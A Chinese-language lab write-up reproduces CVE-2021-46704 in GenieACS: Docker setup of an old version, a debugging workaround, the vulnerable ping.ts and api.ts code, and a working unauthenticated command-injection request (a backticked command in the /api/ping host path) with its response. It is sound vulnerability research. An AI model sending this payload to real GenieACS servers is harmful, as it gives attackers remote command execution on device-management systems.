GenieACS是一个开源的TR-069远程管理解决方案。
漏洞参考披露信息CVE-2021-46704
In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.
tr-069是CPE和ACS之间沟通的通讯协定,全称是CPE广域网管理协议,即就是CWMP(CPE WAN Management Protocol)。
TR069协议提供了对下一代网络中家庭网络设备进行管理配置的通用框架、消息规范、管理方法和数据模型。
其中CPE指的是用户终端设备,ACS指的是自动配置服务器。
tr069提供了一系列方法来实现ACS针对CPE的管理,参考TR-069协议介绍。
官网提供了详细的使用安装教程,可以跟着一步步来
尝试搜索了一下,发现有前人提供了docker部署方式
cd /opt && git clone https://github.com/DrumSergio/GenieACS-Docker && cd GenieACS-Docker sudo docker pull drumsergio/genieacs:1.2.8 sudo docker-compose up -d
完成操作后,3000端口即可正常访问进入配置界面
点击按钮后就可以进入正常的登陆界面
至此,基础的运行环境搭建完成
因为这个漏洞影响1.2.8以下版本,所以需要安装老一点的版本,刚好也有大佬提供了docker 1.2.0的安装方式
然后一定要注意的此时有一个坑,需要将genieacs容器中/opt/genieacs/lib/config.ts中mongo的默认地址写成你的mongo的ip地址(不知道其他人会不会遇到,我在这里卡了很久才找到问题所在)
然后为了方便调试,将genieacs这个容器对外多加一个9000-9003端口用于调试
可以看出1.2.0这个版本在登陆界面上看不到版本号
关于远程调试nodejs,有很多教程
主要思路都是在运行的时候node增加inspect参数,但是这要求我们需要我们找到启动的时候真正调用的所谓的server.js文件,在目标环境shell中查看进程
[email protected]:~# ps -ef UID PID PPID C STIME TTY TIME CMD genieacs 1 0 0 03:41 ? 00:00:09 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf genieacs 10 1 0 03:41 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp genieacs 11 1 0 03:41 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs genieacs 12 1 0 03:41 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi genieacs 13 10 0 03:41 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 15 11 0 03:41 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-fs genieacs 16 12 0 03:41 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi genieacs 46 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 48 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 49 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 55 15 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 77 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 84 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 89 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 92 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 97 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 99 16 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 100 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 103 13 0 03:41 ? 00:00:04 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp root 230 0 0 03:41 pts/0 00:00:00 bash genieacs 347 1 0 07:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui genieacs 348 347 0 07:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-ui genieacs 359 348 0 07:57 ? 00:00:08 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui genieacs 362 348 0 07:57 ? 00:00:05 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui genieacs 366 348 0 07:57 ? 00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui genieacs 374 348 0 07:57 ? 00:00:03 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-ui root 429 230 0 13:04 pts/0 00:00:00 ps -ef
查看/etc/supervisor/conf.d/supervisord.conf
[supervisord]
nodaemon=true
user=genieacs
[program:genieacs-cwmp]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp
stdout_logfile=/var/log/genieacs/genieacs-cwmp.log
stderr_logfile=/var/log/genieacs/genieacs-cwmp.log
autorestart=true
[program:genieacs-nbi]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi
stdout_logfile=/var/log/genieacs/genieacs-nbi.log
stderr_logfile=/var/log/genieacs/genieacs-nbi.log
autorestart=true
[program:genieacs-fs]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs
stdout_logfile=/var/log/genieacs/genieacs-fs.log
stderr_logfile=/var/log/genieacs/genieacs-fs.log
autorestart=true
[program:genieacs-ui]
directory=/opt/genieacs
command=/usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui
stdout_logfile=/var/log/genieacs/genieacs-ui.log
stderr_logfile=/var/log/genieacs/genieacs-ui.log
autorestart=true
我们关注的显然是genieacs-ui
#!/usr/bin/env node
.......
尝试加上调试命令,将文件头部更改为
#!/usr/bin/env node --inspect-brk=0.0.0.0:9000
......
然后重启我的docker,重启完成后再查看进程发现已经以调试模式启动了
[email protected]:/var/log/genieacs# ps -ef UID PID PPID C STIME TTY TIME CMD genieacs 1 0 0 13:57 ? 00:00:00 /usr/bin/python2 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf genieacs 10 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-cwmp genieacs 11 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-fs genieacs 12 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-nbi genieacs 13 10 0 13:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 14 1 0 13:57 ? 00:00:00 /bin/bash /usr/bin/run_with_env.sh /opt/genieacs/genieacs.env /opt/genieacs/dist/bin/genieacs-ui genieacs 15 11 0 13:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-fs genieacs 16 12 0 13:57 ? 00:00:00 node /opt/genieacs/dist/bin/genieacs-nbi genieacs 27 14 99 13:57 ? 00:14:55 /usr/bin/env node --inspect-brk=0.0.0.0:9000 /opt/genieacs/dist/bin/genieacs-ui genieacs 40 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 45 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 46 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 47 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 54 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 56 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 68 15 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-fs genieacs 82 16 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-nbi genieacs 84 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 99 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 110 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp genieacs 113 13 0 13:57 ? 00:00:00 /usr/local/bin/node /opt/genieacs/dist/bin/genieacs-cwmp root 180 0 0 13:57 pts/0 00:00:00 bash root 187 180 0 14:12 pts/0 00:00:00 ps -ef
然后进入主机vscode中创建launch.json文件
{ // Use IntelliSense to learn about possible attributes. // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "type": "node", "request": "attach", "name": "Remote server", "address": "*****", "port": 9000, "localRoot": "/*****/genieACS/genieacs/bin/genieacs-ui.ts", "remoteRoot": "/opt/genieacs/dist/bin/genieacs-ui" } ] }
经过了这一番折腾,结果发现这个调试环境对于genieACS并不起作用,主要原因是因为genieACS要有一个混淆的过程,针对生成的文件并不能像普通的js一样调试
我最终解决办法是这样的,
修改lib/logger.ts文件,在尾部加入以下代码
export function mylog(Name, Value): void { error({ message: "------0------" + Name + "-------0-------" }) error({ message: Value }) error({ message: "------1------" + Name + "-------1-------" }) }
当需要调试的时候使用logger.mylog(Name, Value)即可,打印的值可以在/var/log/genieacs/genieacs-ui.log中看到
另外在/opt/genieacs目录下创建debug.sh
npm run build ps -ef | grep "node /opt/genieacs/dist/bin/genieacs-ui" | grep -v "/usr/local" | grep -v "grep" | awk '{print$2}' | xargs kill -9
每次在修改完代码后需要运行这个文件
不得不承认确实有点麻烦,但确实是我目前能力上能想到的解决办法了
我相信作者一定有更好的调试方法,或许可以提个issue问一下,如果观者有更好的方法欢迎提出
CVE-2021-46704这个漏洞细节已经报的很清楚了,漏洞存在于 lib/ping.ts文件中
import { platform } from "os"; import { exec } from "child_process"; ....... export function ping( host: string, callback: (err: Error, res?: PingResult, stdout?: string) => void ): void { let cmd: string, parseRegExp1: RegExp, parseRegExp2: RegExp; switch (platform()) { case "linux": cmd = `ping -w 1 -i 0.2 -c 3 ${host}`; parseRegExp1 = /(\d+) packets transmitted, (\d+) received, ([\d.]+)% packet loss[^]*([\d.]+)\/([\d.]+)\/([\d.]+)\/([\d.]+)/; parseRegExp2 = /(\d+) packets transmitted, (\d+) received, ([\d.]+)% packet loss/; break; case "freebsd": // Send a single packet because on FreeBSD only superuser can send // packets that are only 200 ms apart. cmd = `ping -t 1 -c 3 ${host}`; parseRegExp1 = /(\d+) packets transmitted, (\d+) packets received, ([\d.]+)% packet loss\nround-trip min\/avg\/max\/stddev = ([\d.]+)\/([\d.]+)\/([\d.]+)\/([\d.]+) ms/; parseRegExp2 = /(\d+) packets transmitted, (\d+) packets received, ([\d.]+)% packet loss/; break; default: return callback(new Error("Platform not supported")); } exec(cmd, (err, stdout) ......
很明显,会将ping命令中host参数拼接到字符串中然后调用child_process.exec函数去执行
知道了漏洞点以后,尝试找一下触发路径,根据进程我们知道程序是使用node运行/opt/genieacs/dist/bin/genieacs-ui
/opt/genieacs/dist/bin/genieacs-ui这个文件是/bin/genieacs-ui.ts混淆生成的,所以直接去看相应文件
...... const _listener = (req, res): void => { if (stopping) res.setHeader("Connection", "close"); listener(req, res); }; const initPromise = Promise.all([db2.connect(), cache.connect()]) .then(() => { server.start(SERVICE_PORT, SERVICE_ADDRESS, ssl, _listener); }) .catch((err) => { setTimeout(() => { throw err; }); }); ......
geniesacs-ui.ts中开启了服务器,使用listener作为监听处理,listener相关定义在于lib/ui.ts中
...... router.post("/login", async (ctx) => { if (!JWT_SECRET) { ctx.status = 500; ctx.body = "UI_JWT_SECRET is not set"; logger.error({ message: "UI_JWT_SECRET is not set" }); return; } ...... router.get("/status", (ctx) => { ctx.body = "OK"; }); ..... router.use("/api", api.routes(), api.allowedMethods()); .....
很明显代码中根据不同的urlpatten规范了不同的处理内容,根据漏洞公告明确知道漏洞肯定是出在api中,因此直接去查看api.routes(),尝试找到ping的具体处理路径,最终在lib/ui/api.ts中找到了相关定义
router.get("/ping/:host", async (ctx) => { return new Promise((resolve) => { ping(ctx.params.host, (err, parsed) => { if (parsed) { ctx.body = parsed; } else { ctx.status = 500; ctx.body = `${err.name}: ${err.message}`; } resolve(); }); }); });
很明显会从get请求url中取出host的值,然后传入ping函数,进而造成命令执行,同时在调用路径上没有看到任何认证校验的存在,因此此漏洞还是一个认证前的命令执行
GET /api/ping/`id>%2ftmp%2faaaaa` HTTP/1.1 Host: 172.16.113.160:3000 User-Agent: Mozilla Accept: application/json, text/* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Origin: http://172.16.113.160:3000 Connection: close Referer: http://172.16.113.160:3000/
回包:
HTTP/1.1 500 Internal Server Error X-Config-Snapshot: fc1bdc5907edb1217fed62dd5425c464 GenieACS-Version: 1.2.0+20220915090845 Vary: Accept-Encoding Content-Type: text/plain; charset=utf-8 Content-Length: 663 Date: Thu, 15 Sep 2022 09:48:20 GMT Connection: close Error: Command failed: ping -w 1 -i 0.2 -c 3 `id>/tmp/aaaaa` Usage: ping [-aAbBdDfhLnOqrRUvV64] [-c count] [-i interval] [-I interface] [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] [hop1 ...] destination Usage: ping -6 [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface] [-l preload] [-m mark] [-M pmtudisc_option] [-N nodeinfo_option] [-p pattern] [-Q tclass] [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option] [-w deadline] [-W timeout] destination
在目标中查看,/tmp/aaaaa中已经写入内容
[email protected]*****:/opt/genieacs# cat /tmp/aaaaa
uid=999(genieacs) gid=999(genieacs) groups=999(genieacs)
成功复现命令注入